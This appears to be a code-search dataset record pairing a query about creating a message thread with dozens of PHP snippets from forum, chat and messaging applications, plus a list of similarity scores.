0;\n\n\t\t\t$db->insertObject('#__posts', $post, 'post_id');\n\n\t\t\t$topic->topic_first_post_id\t\t\t= $post->post_id;\n\t\t\t$topic->topic_last_post_id\t\t\t= $post->post_id;\n\t\t\t$topic->topic_last_post_time\t\t= (int) $timestamp;\n\t\t\t$topic->topic_last_poster_id\t\t= (int) $userid;\n\t\t\t$topic->topic_last_poster_name\t\t= $user->username;\n\t\t\t$topic->topic_last_poster_colour\t= $user->user_colour;\n\t\t\t$topic->topic_last_post_subject\t\t= (string) $subject;\n\t\t\t$topic->topic_posts_approved = 1;\n\n\t\t\t$db->updateObject('#__topics', $topic, 'topic_id' );\n\n\t\t\tif ($dbparams->get('use_content_created_date', false)) {\n\t\t\t\t$query = $db->getQuery(true)\n\t\t\t\t\t->select('forum_last_post_time')\n\t\t\t\t\t->from('#__forums')\n\t\t\t\t\t->where('forum_id = ' . (int) $forumid);\n\n\t\t\t\t$db->setQuery($query);\n\t\t\t\t$forum_last_post_time = $db->loadResult();\n\n\t\t\t\t//only update the last post for the topic if it really is newer\n\t\t\t\t$updateLastPost = ($timestamp > $forum_last_post_time) ? true : false;\n\t\t\t} else {\n\t\t\t\t$updateLastPost = true;\n\t\t\t}\n\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->update('#__forums');\n\n\t\t\tif($updateLastPost) {\n\t\t\t\t$query->set('forum_last_post_id = ' . $db->quote($post->post_id))\n\t\t\t\t\t->set('forum_last_post_subject = ' . $db->quote($subject))\n\t\t\t\t\t->set('forum_last_post_time = ' . (int) $timestamp)\n\t\t\t\t\t->set('forum_last_poster_id = ' . (int) $userid)\n\t\t\t\t\t->set('forum_last_poster_name = ' . $db->quote($user->username))\n\t\t\t\t\t->set('forum_last_poster_colour = ' . $db->quote($user->user_colour));\n\t\t\t}\n\n\t\t\t//update some stats\n\t\t\t$query->set('forum_posts_approved = forum_posts_approved + 1')\n\t\t\t\t->set('forum_topics_approved = forum_topics_approved + 1')\n\t\t\t\t->where('forum_id = ' . $db->quote($forumid));\n\n\t\t\t$db->setQuery($query);\n\t\t\t$db->execute();\n\n\t\t\t//update some stats\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->update('#__users')\n\t\t\t\t->set('user_posts = user_posts + 1')\n\t\t\t\t->where('user_id = ' . (int) $userid);\n\n\t\t\t$db->setQuery($query);\n\t\t\t$db->execute();\n\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->update('#__config')\n\t\t\t\t->set('config_value = config_value + 1')\n\t\t\t\t->where('config_name = ' . $db->quote('num_topics'));\n\n\t\t\t$db->setQuery($query);\n\t\t\t$db->execute();\n\n\t\t\tif(!empty($topic->topic_id) && !empty($post->post_id)) {\n\t\t\t\t//add information to update forum lookup\n\t\t\t\t$status['threadinfo']->forumid = $forumid;\n\t\t\t\t$status['threadinfo']->threadid = $topic->topic_id;\n\t\t\t\t$status['threadinfo']->postid = $post->post_id;\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\t$status['error'] = $e->getMessage();\n\t\t}\n\t}",
"public function createThread(ForumRepositoryInterface $parentForum, array $data = []): PodiumResponse;",
"public function __construct(NewMessageEvent $event)\n {\n $this->event = $event;\n }",
"public function createInstance()\n {\n $mock = $this->mock(static::TEST_SUBJECT_CLASSNAME)\n ->getMessage();\n\n return $mock->new();\n }",
"public function createAction(Request $request)\n {\n $entity = new Thread();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('thread_show', array('id' => $entity->getId())));\n }\n\n return $this->render('APiszczekDemoBundle:Thread:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"function newThread($member1_id, $member2_id)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection,\"INSERT INTO thread(member1_id, member2_id, date_created) VALUES($member1_id, $member2_id, NOW())\");\n\t\t\treturn sqlite_last_insert_rowid($this->connection);\n\t\t}",
"public function testMessageThreadsV2Get0()\n {\n }",
"public function __construct($msg)\n {\n $this->message = $msg;\n }",
"public function run()\n {\n //\n $chat = new Message();\n $chat->room_id = 1;\n $chat->send_account_id = 1;\n $chat->receive_account_id = 2;\n $chat->text = \"こんにちは\";\n $chat->is_read = true;\n $chat->save();\n\n //\n $chat2 = new Message();\n $chat2->room_id = 1;\n $chat2->send_account_id = 2;\n $chat2->receive_account_id = 1;\n $chat2->text = \"よろしくお願いします。\";\n $chat2->is_read = true;\n $chat2->save();\n\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public static function insertMessageThread($id, $receivers, $text)\n\t{\n\t\t$time = date('Y-m-d H:i:s');\n\t\t$db = FrontendModel::getDB(true);\n\n\t\t// insert thread\n\t\t$threadId = (int) $db->insert('profiles_thread', array('latest_message_id' => 0));\n\n\t\t// insert message\n\t\t$messageId = (int) $db->insert(\n\t\t\t'profiles_message', \n\t\t\tarray(\n\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t'user_id' => $id,\n\t\t\t\t'created_on' => $time,\n\t\t\t\t'text' => $text\n\t\t\t)\n\t\t);\n\n\t\t// update thread\n\t\t$db->update('profiles_thread', array('latest_message_id' => $messageId), 'id = ' . $threadId);\n\n\t\t// insert thread_status for every receiver\n\t\tforeach($receivers as $receiver)\n\t\t{\n\t\t\t$db->insert(\n\t\t\t\t'profiles_thread_status',\n\t\t\t\tarray(\n\t\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t\t'receiver_id' => $receiver\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t// insert thread status for sender\n\t\t$db->insert(\n\t\t\t'profiles_thread_status',\n\t\t\tarray(\n\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t'receiver_id' => $id,\n\t\t\t\t'status' => 'read'\n\t\t\t)\n\t\t);\n\n\t\treturn true;\n\t}",
"public function create(string $message = ''): BusMessageInterface;",
"public function __construct(Thread $thread, Reply $reply)\n {\n $this->thread = $thread;\n $this->reply = $reply;\n }",
"public function testMessageThreadsV2MarkThread()\n {\n }",
"public function testMessageThreadsV2ReplyToMessage()\n {\n }",
"public function mailChatNewMessage(Request $request)\n {\n $user = new User(['firstname' => 'Max', 'lastname' => 'Mustermann']);\n $chat_message = new ChatMessage(['chat_id' => 1, 'message' => 'MESSAGE']);\n \n $mail = new Mail\\ChatNewMessage($user, $chat_message, \"TITLE\");\n \n return $mail;\n }",
"public function run()\n {\n if (Message::all()->isEmpty()) {\n $this->createMessage();\n }\n }",
"public function create()\n\t{\n\t\treturn View::make('messages.create');\n\t}",
"public function aim_chat_create($name, $exchange = 4)\r\n\t{\r\n\t\t$this->core->aim_send_raw(sprintf('toc_chat_join %d \"%s\"', $exchange, $name));\r\n\t}",
"public function sendMessage(Request $request)\n {\n $message = $request->get('message');\n $thread_id = $request->get('threadid');\n $objmessage = new Message();\n $messageid = $objmessage->sendThreadMessage($thread_id, $message);\n $chattime = Carbon::now();\n $formattedtime = $chattime->format('d-m-Y h:i A');\n \\Event::fire(new App\\Events\\NewMessage($thread_id, $message, Auth()->user()->name, Auth()->id(), Auth()->user()->userrole,$formattedtime));\n return view(\"teacher.chat-messages-teacher\", compact('message', 'messageid'));\n }",
"public function run(): void\n {\n Thread::with('participants.owner')->get()->each(function (Thread $thread) {\n for ($x = 0; $x < rand(5, 20); $x++) {\n Message::factory()\n ->for($thread)\n ->owner($thread->participants->random()->owner)\n ->create();\n }\n });\n }",
"public function createQueue();",
"public function createMessage(Request $request)\n {\n $newMessage = new Message();\n\n $em = $this->getDoctrine()->getManager();\n $messageRepository = $em->getRepository(Message::class);\n $user = $this->getUser();\n $id=$user->getId();\n\n $messages = $messageRepository->findBy(array('user'=>$id),array('create_at'=>'ASC'));\n\n $form = $this->createForm(MessageType::class, $newMessage);\n $form -> handleRequest($request);\n\n if($form->isSubmitted() && $form->isValid()) {\n $content=$form['content']->getData();\n $newMessage->setSenderId($id);\n $newMessage->setContent($content);\n $newMessage->setUser($user);\n $newMessage->setCreateAt(new \\Datetime('now + 8hours'));\n\n $em->persist($newMessage);\n $em->flush();\n\n return $this->redirectToRoute('message.fetch');\n }\n\n return $this->render(\"message/fetch.html.twig\",\n array('form' => $form->createView(),\n 'messages' => $messages,\n 'newMessage' => $newMessage,\n 'id'=>$id,\n ));\n\n }",
"protected function getInboxThread()\n {\n if ($this->inboxMessageBeingReplyingTo) {\n return $this->inboxMessageBeingReplyingTo->thread;\n }\n\n return $this->createInboxThread();\n }",
"function Admin_Messages_admin_new()\n{\n // Security check - important to do this as early as possible to avoid\n // potential security holes or just too much wasted processing\n if (!pnSecAuthAction(0, 'Admin_Messages::', '::', ACCESS_ADD)) {\n return pnVarPrepHTMLDisplay(_MODULENOAUTH);\n }\n\n // Create output object - this object will store all of our output so that\n // we can return it easily when required\n\t$pnRender =& new pnRender('Admin_Messages');\n\n\t// As Admin output changes often, we do not want caching.\n\t$pnRender->caching = false;\n\n // Return the output that has been generated by this function\n return $pnRender->fetch('admin_messages_admin_new.htm');\n}",
"public function publishThread($attributes)\n\t{\n\t\treturn $this->threads()->create($attributes);\n\t}",
"public function __construct($message, $type)\n\t{\n\t\t$this->message = $message;\n\t\t$this->type = $type;\n\t}",
"public function createMimeMessage();",
"public function __construct($message)\n {\n // $this->message = $message;\n }",
"public function create()\n {\n return view('materialadmin::message.create');\n }",
"public function run()\n {\n $threads = factory('App\\Thread', 20)->create();\n\n $threads->each(function($thread) {\n factory('App\\Reply', 6)->create(['thread_id' => $thread->id]);\n });\n }",
"protected static function newFactory(): Factory\n {\n return MessageFactory::new();\n }",
"public function create_ticket()\n {\n $type = 'Chat';\n\n $response = array(\n 'status' => 'false',\n 'message' => __('Ticket could not be created. Please contact support email directly.', 'kong-helpdesk')\n );\n if (isset($_POST['helpdeskTicket'])) {\n ob_start();\n\n $status = $this->ticket_processor->form_sanitation($_POST, $type);\n $return = ob_get_clean();\n\n if ($status !== false) {\n if ($_POST['online'] == \"true\") {\n $response = array(\n 'status' => 'true',\n 'message' => sprintf( __('A seperate Chat-Ticket with the ID %s has been created.', 'kong-helpdesk'), $this->ticket_processor->post_id),\n 'ticket' => $this->ticket_processor->post_id,\n );\n } else {\n $response = array(\n 'status' => 'true',\n 'message' => sprintf( __('Message received and Chat-Ticket %s created. You should have an email.', 'kong-helpdesk'), $this->ticket_processor->post_id),\n 'ticket' => $this->ticket_processor->post_id,\n );\n }\n } else {\n $response = array(\n 'status' => 'false',\n 'message' => $this->ticket_processor->errors[0]\n );\n }\n }\n die(json_encode($response));\n }",
"function message_new($param1 = '', $param2 = '')\n\t{\n\t\tif ($this->session->userdata('admin_login') != 1)\n\t\t\tredirect(base_url() . 'index.php?login');\n\t\tif ($param1 == 'send_new_message') {\n\t\t\t$new_message_thread_code = $this->crud_model->send_new_message();\n\t\t\t$this->session->set_flashdata('flash_message', translate('message_sent'));\n\t\t\t$get_receiver = $this->db->get_where('message_thread', array(\n\t\t\t\t'message_thread_code' => $new_message_thread_code\n\t\t\t))->row()->receiver;\n\t\t\t$receiver = explode('-', $get_receiver);\n\t\t\t$user_to_email_type = $receiver[0];\n\t\t\t$user_to_email_id = $receiver[1];\n\t\t\t$email_to = $this->db->get_where($user_to_email_type, array(\n\t\t\t\t$user_to_email_type . '_id' => $user_to_email_id\n\t\t\t))->row()->email;\n\t\t\t// MAIL SENDING TO RECEIVER\n\t\t\t$this->email_model->message_notification_email_sender_admin($email_to);\n\t\t\tredirect(base_url() . 'index.php?admin/message_read/' . $new_message_thread_code, 'refresh');\n\t\t}\n\t\t$page_data['page_name']\t\t\t= 'message_new';\n\t\t$page_data['page_title'] \t= 'Messaging';\n\t\t$page_data['customers'] \t= $this->db->get('customer')->result_array();\n\t\t$page_data['sales_staff'] \t= $this->db->get_where('employee', array(\n\t\t\t'type' => 1\n\t\t))->result_array();\n\t\t$page_data['purchase_staff'] = $this->db->get_where('employee', array(\n\t\t\t'type' => 2\n\t\t))->result_array();\n\t\t$page_data['message_thread_code'] = $param2;\n\t\t$this->load->view('backend/index', $page_data);\n\t}",
"public function createMessage($task, $author, $subject, $prof, $work){\n\t\t $db = Yii::$app->db->createCommand();\n $db->insert('messages', [\n 'new_task' => $task,\n 'author' => $author,\n 'subject' => $subject,\n 'FK_Prof' => $prof,\n 'id_work' => $work,\n ])->execute();\n return true;\n\t}",
"public function addMessage()\n {\n if(null === $this->obj_message) {\n $this->obj_message = new Message();\n }\n return $this->obj_message;\n }",
"public function create()\n {\n $message =Messages::orderBy('created_at', 'desc')->get();\n $category =ProgramCatrgories::orderBy('program_category_name', 'asc')->get();\n return view('administrator.messages.create')->with([\n 'message' => $message,\n 'category' => $category,\n ]);\n }",
"public function create()\n {\n // die('here');\n return view('message.create');\n }",
"public function create($id=null)\n {\n //\n if(empty($id)){\n $msg = null;\n }else{\n $msg = Message::find($id);\n }\n return view('Message.create',['msg'=>$msg]);\n }",
"public function create()\n {\n return view('message_forums.create');\n }",
"private function _messageFor()\n {\n // First, get the message\n //$message_for = preg_match('^!messagefor-[$1]', $this->_data->message)\n //preg_match('/^!messagefor-(.*):/', '!messagefor-Mike I missed you', $matches); var_dump($matches);\n try {\n // Connect\n $dbh = $this->_connectToDb();\n\n // Insert\n $stmt = $dbh->prepare(\"INSERT INTO message(`nick`, `message`, `when`, `from`) VALUES (:nick, :message, NOW(), :from)\");\n\n $stmt->bindParam(':nick', $message_for, PDO::PARAM_STR);\n $stmt->bindParam(':message', $message_payload, PDO::PARAM_STR);\n $stmt->bindParam(':from', $this->_data->nick, PDO::PARAM_STR);\n\n $stmt->execute();\n\n $dbh = null;\n\n }\n catch(PDOException $e)\n {\n echo $e->getMessage();\n }\n }",
"public function testCreateMessage()\n {\n $config = new Configuration();\n// $config->setHost(\"http://127.0.0.1:8080\");\n $apiInstance = new DaDaPushMessageApi(\n // If you want use custom http client, pass your client which implements `GuzzleHttp\\ClientInterface`.\n // This is optional, `GuzzleHttp\\Client` will be used as default.\n new \\GuzzleHttp\\Client(),\n $config\n );\n\n $actions = [\n new Action($data = array(\"name\" => \"view\", \"url\" => \"https://www.dadapush.com/\", \"type\" => \"link\"))\n ];\n\n $body = new MessagePushRequest($data = array(\"title\" => \"Good News!\",\n \"content\" => \"Good News! DaDaPush releasing new version\",\n \"need_push\" => true,\n \"actions\" => $actions\n ));\n\n $channel_token = 'ctb3lwO6AeiZOwqZgp8BE8980FdNgp0cp6MCf';\n\n $result = $apiInstance->createMessage($body, $channel_token);\n print_r($result);\n self::assertTrue($result->getCode()==0);\n }",
"public function testMessageThreadsV2Get()\n {\n }"
]
| [
"0.6624191",
"0.6603578",
"0.63497925",
"0.6233245",
"0.61757743",
"0.6160493",
"0.6052556",
"0.6036705",
"0.59514105",
"0.59141654",
"0.59064436",
"0.5904021",
"0.58788687",
"0.585951",
"0.5853825",
"0.580912",
"0.5761547",
"0.5750315",
"0.57308924",
"0.5723112",
"0.5690702",
"0.5660674",
"0.56391907",
"0.56265056",
"0.56252605",
"0.56149584",
"0.56148285",
"0.5582132",
"0.55503076",
"0.55473506",
"0.55442697",
"0.552819",
"0.5511549",
"0.5503844",
"0.54908824",
"0.5461851",
"0.54611",
"0.54550636",
"0.5445277",
"0.5427986",
"0.5424134",
"0.54218733",
"0.540467",
"0.5368193",
"0.5352409",
"0.53439087",
"0.5340086",
"0.53149456",
"0.5288613",
"0.5287792",
"0.52724385",
"0.5269407",
"0.5266705",
"0.5259898",
"0.524295",
"0.52096575",
"0.52090377",
"0.5206889",
"0.5201962",
"0.5196375",
"0.51928216",
"0.5189531",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5164423",
"0.5164097",
"0.5161308",
"0.5151061",
"0.51349014",
"0.5131223",
"0.51196325",
"0.5097894",
"0.509749",
"0.5095525",
"0.50903505",
"0.5084218",
"0.50831175",
"0.50768644",
"0.50704306",
"0.5067584",
"0.50553834",
"0.50548613",
"0.5053451",
"0.50455225",
"0.50445056",
"0.5042539",
"0.50411904",
"0.5036964",
"0.503415",
"0.5019668",
"0.5019408",
"0.5009183",
"0.5001452",
"0.49951488",
"0.49859393",
"0.4976319",
"0.4962716"
]
| 0.0 | -1 |
Creates a new message thread | public function compose($loanId, $userId)
{
$toSmeNiwas = 'SMENiwas';
$currentUserId = Auth::getUser()->id;
$toUser = User::where('id', '=', $userId)->get()->first();
$toUserEmail = $toUser->email;
$users = User::where('id', '!=', Auth::getUser()->id)->get()->lists('email', 'id')->all();
$count = Participant::forUserWithNewMessages($currentUserId)->count();
return view('messenger.compose', compact('users', 'loanId', 'userId', 'toUserEmail', 'count', 'toSmeNiwas'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n //\n $this->message->sendMessage();\n }",
"protected static function newMessage()\n {\n self::$message = \\Swift_Message::newInstance();\n }",
"public static function createThread($user_id)\n\t{\n\t\tif (!Input::has('subject')) {\n\t\t\tthrow new Exception('Your message must have a subject');\n\t\t}\n\n\t\t// set subject from input\n\t\t$subject = Input::get('subject');\n\n\t\t// make sure subject is not greater than 100 characters\n\t\tif (strlen($subject) > 100) {\n\t\t\tthrow new Exception('Please limit the subject of your message to 100 characters');\t\t\n\t\t}\n\n\t\t// make sure recipients of the thread were sent\n\t\tif(!is_array(Input::get('recipient'))) {\n\t\t\tthrow new Exception('There must be a recipient of your message');\n\t\t}\n\n\t\t// set recipients from input\n\t\t$recipients = Input::get('recipient');\n\n\t\t// loop through all the recipients and...\n\t\tforeach ($recipients as $recipient) {\n\t\t\t// make sure every recipient is numeric\n\t\t\tif (!is_numeric($recipient)) {\n\t\t\t\tthrow new Exception('Invalid recipient');\n\t\t\t}\n\t\t}\n\n\t\t// make sure message body was sent\n\t\tif (!Input::has('body')) {\n\t\t\tthrow new Exception('The body of your message may not be blank');\n\t\t}\n\n\t\t// set body from input\n\t\t$body = Input::get('body');\n\n\t\t// make sure body is not greater than 1024 characters\n\t\tif (strlen($body) > 1024) {\n\t\t\tthrow new Exception('Please limit the body of your message to 1024 characters (it currently has ' . strlen($body) . ')');\t\t\n\t\t}\n\n\t\t// create a transaction to wrap the creation of Thread, UsersThread, Message, and UsersMessage\n\t\tDB::transaction(function() use ($user_id, $subject, $recipients, $body)\n\t\t{\n\t\t\ttry {\n\t\t\t\t// create new thread\n\t\t\t\t$thread = new Thread();\n\t\t\t\t$thread->subject = $subject;\n\t\t\t\t$thread->save();\n\t\t\t} catch (Exception $e) {\n\t\t\t\tthrow new Exception('Could not create conversation');\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\t// create record of author in users_threads\n\t\t\t\t$author_thread = new UsersThread();\n\t\t\t\t$author_thread->user_id = $user_id;\n\t\t\t\t$author_thread->thread_id = $thread->id;\n\t\t\t\t$author_thread->save();\n\t\t\t} catch (Exception $e) {\n\t\t\t\tthrow new Exception('Could not create authors connection to conversation');\n\t\t\t}\n\n\t\t\t// loop through all the recipients and...\n\t\t\tforeach ($recipients as $recipient) {\n\n\t\t\t\t// make sure the recipient is not the author\n\t\t\t\tif ($recipient != $user_id) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\t// create record of recipient in users_threads\n\t\t\t\t\t\t$recipient_thread = new UsersThread();\n\t\t\t\t\t\t$recipient_thread->user_id = $recipient;\n\t\t\t\t\t\t$recipient_thread->thread_id = $thread->id;\n\t\t\t\t\t\t$recipient_thread->save();\n\t\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t\tthrow new Exception('Could not create recipients connection to conversation');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// create message (users threads caches are deleted in createMessage)\n\t\t\tMessagesService::createMessage($thread->id, $user_id, $recipients, $body);\t\t\t\n\t\t});\n\t}",
"protected function createMessage()\n {\n $message = new Message(new Swift_Message);\n\n\n // If a global from address has been specified we will set it on every message\n // instances so the developer does not have to repeat themselves every time\n // they create a new message. We will just go ahead and push the address.\n if (isset($this->from['address'])) {\n $message->from($this->from['address'], $this->from['name']);\n }\n\n return $message;\n }",
"protected function createMessage() {\n $config = $this->messageConfig;\n if (!array_key_exists('class', $config)) {\n $config['class'] = $this->messageClass;\n }\n $config['smser'] = $this;\n return Yii::createObject($config);\n }",
"private function newMessage()\n {\n /* @var $config ModuleOptions */\n $config = $this->serviceLocator->get('EscoMail\\Options');\n\n $this->message = new Message();\n $this->message->setFrom($config->getMailSendFrom(), $config->getMailSendFromName());\n\n return $this->message;\n }",
"protected function createMessage()\n\t{\n\t\t$config = $this->messageConfig;\n\t\tif (!array_key_exists('class', $config)) {\n\t\t\t$config['class'] = $this->messageClass;\n\t\t}\n\t\t$config['mailer'] = $this;\n\n\t\treturn Yii::createObject($config);\n\t}",
"public function create($id)\n {\n $thread = $this->threadManager->createThread();\n $thread->setId($id);\n $thread->setPermalink($this->request->getUri());\n $this->threadManager->addThread($thread);\n\n return $thread;\n }",
"public static function create($boardID, $languageID, $prefix, $subject, $text, $userID, $username, $sticky = 0, $announcement = 0, $closed = 0, $options = array(), $subscription = 0, $attachments = null, $poll = null, $disabled = 0) {\n\t\t$attachmentsAmount = $attachments != null ? count($attachments->getAttachments()) : 0;\n\t\t$polls = ($poll != null && $poll->pollID) ? 1 : 0;\n\t\t\n\t\t// insert thread\n\t\t$threadID = self::insert($subject, $boardID, array(\n\t\t\t'languageID' => $languageID,\n\t\t\t'userID' => $userID,\n\t\t\t'username' => $username,\n\t\t\t'prefix' => $prefix,\n\t\t\t'time' => TIME_NOW,\n\t\t\t'lastPostTime' => TIME_NOW,\n\t\t\t'lastPosterID' => $userID,\n\t\t\t'lastPoster' => $username,\n\t\t\t'attachments' => $attachmentsAmount,\n\t\t\t'polls' => $polls,\n\t\t\t'isSticky' => $sticky,\n\t\t\t'isAnnouncement' => $announcement,\n\t\t\t'isClosed' => $closed,\n\t\t\t'isDisabled' => $disabled,\n\t\t\t'everEnabled' => ($disabled ? 0 : 1)\n\t\t));\n\t\t\n\t\t// create post\n\t\t$post = PostEditor::create($threadID, $subject, $text, $userID, $username, $options, $attachments, $poll, null, $disabled, true);\n\t\t\n\t\t// update first post id\n\t\t$sql = \"UPDATE\twbb\".WBB_N.\"_thread\n\t\t\tSET\tfirstPostID = \".$post->postID.\"\n\t\t\tWHERE\tthreadID = \".$threadID;\n\t\tWCF::getDB()->sendQuery($sql);\n\t\t\n\t\t// update first post preview\n\t\tPostEditor::updateFirstPostPreview($threadID, $post->postID, $text, $options);\n\t\t\n\t\t// get thread object\n\t\t$thread = new ThreadEditor($threadID);\n\t\t\n\t\t// update subscription\n\t\t$thread->setSubscription($subscription);\n\t\t\n\t\t// get similar threads\n\t\tself::updateSimilarThreads($threadID, $subject, $boardID);\n\t\t\n\t\treturn $thread;\n\t}",
"public function __construct($threadid,$message,$sendername,$sender_id,$sender_role = \"\",$created_at)\n {\n //\n $this->message = $message;\n $this->threadid = $threadid;\n $this->sendername = $sendername;\n $this->senderid = $sender_id;\n if(!empty($sender_role)) {\n $this->senderrole = $sender_role;\n }\n $this->created_at = $created_at;\n }",
"public function __construct()\n {\n // for example creates \"thread\"\n }",
"public function create()\n {\n\n return view(\"thread.create\");\n }",
"public function create()\n {\n $thread = new Thread;\n $comment = new Comment;\n $page = Param::get('page_next', 'create');\n $username = $_SESSION['username'];\n\n switch ($page) {\n case 'create':\n break;\n case 'create_end';\n $thread->title = Param::get('title');\n $comment->username = $username;\n $comment->body = Param::get('body');\n try {\n $thread->create($comment);\n } catch (ValidationException $e) {\n $page = 'create';\n }\n break;\n default:\n throw new NotFoundException(\"{$page} is not found\");\n break;\n }\n\n $this->set(get_defined_vars());\n $this->render($page);\n }",
"public function createMessage(): MessageInterface;",
"public function create()\n\t{\n\n\t\t$post = $this->store('create', '/thread/new');\n\n\t\tredirect('/threads?id=' . $post->id);\n\t}",
"public function create()\n {\n /**\n * Placeholder for now, only \"oisenon\" user can create thread\n * \n */\n if(Auth::user()->id !== 1){\n return 'Access denied.';\n }\n return view('threads.create');\n }",
"public function newAction()\n {\n $entity = new Thread();\n $form = $this->createCreateForm($entity);\n\n return $this->render('APiszczekDemoBundle:Thread:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"private function newMessage(array $data)\n {\n\n $message = Message::create([\n 'channel_id' => $data['channel_id'],\n 'user_id' => Auth::guard()->user()->id,\n 'message' => $data['message']\n ]);\n if ($message) {\n $this->notifyChannelUsers($data['channel_id']);\n }\n return $message;\n }",
"public function create_post() {\n\t\t$data['uid'] = $this->input->get('uid');\n\t\t$data['to'] = $this->input->get('to');\n\t\t$data['text'] = $this->input->get('text');\n\t\t$data['ts'] = now();\n\n\t\t$this->Messages_model->create($data);\n\t}",
"public function initMessage() {}",
"public function initiate($userId)\n {\n if ($userId < 1 || $userId == UserAuthentication::getLoggedUserId()) {\n Message::addErrorMessage(Label::getLabel('LBL_Invalid_Request'));\n $json['redirectUrl'] = CommonHelper::redirectUserReferer(true);\n FatUtility::dieJsonError($json);\n }\n $userArr = array(\n $userId,\n UserAuthentication::getLoggedUserId()\n );\n $threadobj = new Thread();\n $threadId = $threadobj->getThreadId($userArr);\n $srch = new MessageSearch();\n $srch->joinThreadMessage();\n $srch->joinMessagePostedFromUser();\n $srch->joinMessagePostedToUser();\n //$srch->joinThreadStartedByUser();\n $srch->addMultipleFields(array('tth.*', 'ttm.message_id', 'ttm.message_text', 'ttm.message_date', 'ttm.message_is_unread'));\n $srch->addCondition('ttm.message_deleted', '=', 0);\n $srch->addCondition('tth.thread_id', '=', $threadId);\n $cnd = $srch->addCondition('ttm.message_from', '=', $userId);\n $cnd->attachCondition('ttm.message_to', '=', $userId, 'OR');\n $srch->addOrder('message_id', 'DESC');\n $rs = $srch->getResultSet();\n $records = array();\n if ($rs) {\n $records = FatApp::getDb()->fetchAll($rs, 'message_id');\n if ($srch->recordCount() > 0) {\n $json['redirectUrl'] = CommonHelper::generateUrl('Messages');\n $json['threadId'] = $threadId;\n FatUtility::dieJsonSuccess($json);\n }\n }\n $frm = $this->sendMessageForm($this->siteLangId);\n $frm->fill(array('message_thread_id' => $threadId));\n $this->set('frm', $frm);\n $json['html'] = $this->_template->render(false, false, 'messages/generate-thread-pop-up.php', true, false);\n FatUtility::dieJsonSuccess($json);\n if ($threadId) {\n FatApp::redirectUser(CommonHelper::generateUrl('Messages', 'thread', array($threadId)));\n }\n Message::addErrorMessage($threadobj->getError());\n CommonHelper::redirectUserReferer();\n }",
"public function actionCreate()\n {\n $model = new Thread();\n $model->user_id = Yii::$app->user->id;\n\n $newCommentModel = new Comment();\n $newCommentModel->user_id = Yii::$app->user->id;\n\n $postData = Yii::$app->request->post();\n if ($model->load($postData) && $res = $model->save()) {\n $newCommentModel->load(Yii::$app->request->post());\n $newCommentModel->thread_id = $model->id;\n $newCommentModel->user_id = Yii::$app->user->id;\n $newCommentModel->save();\n\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'newCommentModel' => $newCommentModel,\n ]);\n }\n }",
"public static function toThread($data)\n {\n $thread = new ForumThread(Parse::clean($data->topic));\n $thread->setId(Parse::clean($data->id));\n $thread->setSubjectFK(Parse::clean($data->subject));\n\n return $thread;\n }",
"function post_new_reply() {\n\tglobal $core, $document, $user, $boards, $threads, $posts, $db;\n\n\tif (!isset($_POST['thread_id']) || !isset($_POST['board_id']) || !isset($_POST['post_name']) || !isset($_POST['post_message'])) {\n\t\tfatal_error(\"Some or all of the information needed to post a new message are missing. Please try again\");\n\t}\n\n\t//Make fields safe\n\t$boardid = make_safe(\"int\",$_POST['board_id']);\n\t$threadid = make_safe(\"int\",$_POST['thread_id']);\n\t$postname = make_safe(\"text\",$_POST['post_name']);\n\t$postmessage = make_safe(\"text\",$_POST['post_message']);\n\n\t//Sanity check fields\n\tif (strlen($postname) < 2 || strlen($postmessage) < 10) { \n\t\tfatal_error(\"Your message title or message text is too short. Please try again\");\n\t}\n\tif (!$boards->get_board($boardid)) {\n\t\tfatal_error(\"Invalid board specified. Please try again\");\n\t} \n\tif (!$threads->get_thread($threadid)) {\n\t\tfatal_error(\"Invalid thread specified. Please try again\");\n\t}\n\n\t//Now post the message\n\t$posts->new_post($user->get(\"user_id\"),$boardid,$threadid,$postname,$postmessage);\n\n\t//Now go back to the forum\n\t$core->do_redirect(\"forumdisplay.php?f=$boardid\");\t\t\n}",
"protected static function newFactory()\n {\n return MessageFactory::new();\n }",
"function createMessage($object) {\n\tglobal $USER;\n\t\n\t$message = new \\core\\message\\message();\n\t$message->component = 'local_littlehelpers';\n\t$message->name = 'paragraph52notification';\n\t$message->userfrom = $USER;\n\t\n\t// Get user\n\t$message->userto = core_user::get_user($object->useridto);\n\t\n\t// force email sending\n\t$message->userto->emailstop = 0;\n\t\n\t$message->subject = $object->subject;\n\t$message->fullmessage = $object->fullmessage;\n\t$message->fullmessageformat = FORMAT_MARKDOWN;\n\t$message->fullmessagehtml = $object->fullmessagehtml;\n\t$message->smallmessage = $object->smallmessage;\n\t$message->notification = '0';\n\t\n\t$message->contexturl = 'https://moodle.tu-darmstadt.de/local/littlehelpers/paragraph52';\n\t$message->contexturlname = 'Paragraph52';\n\t$message->replyto = \"[email protected]\";\n\n\treturn $message;\n}",
